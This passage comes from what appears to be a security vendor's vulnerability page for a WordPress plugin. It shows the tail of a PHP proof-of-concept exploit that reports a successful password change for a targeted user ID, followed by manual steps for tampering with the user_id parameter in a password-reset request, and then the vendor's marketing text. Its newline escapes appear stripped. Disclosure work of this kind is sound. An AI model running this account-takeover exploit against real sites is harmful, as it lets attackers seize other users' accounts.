curl_close($ch);

// Analyze results
if ($http_code == 200) {
    if (strpos($response, 'success') !== false || strpos($response, 'updated') !== false) {
        echo "[SUCCESS] Password changed for user ID $user_idn";
        echo "New password: $new_passwordn";
        echo "Login URL: " . rtrim($target_url, '/') . "/wp-login.phpn";
    } else {
        echo "[POSSIBLE] Request succeeded but check response:n";
        echo substr($response, 0, 500) . "n";
    }
} else {
    echo "[FAILED] HTTP $http_code receivedn";
    echo "Response: " . substr($response, 0, 500) . "n";
}

// Alternative method via direct form submission
echo "nAlternative exploitation method (form-based):n";
echo "1. Navigate to: " . rtrim($target_url, '/') . "/wp-login.php?action=lostpasswordn";
echo "2. Intercept the password reset requestn";
echo "3. Modify the user_id parameter to target usern";
echo "4. Submit with new password parametersn";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School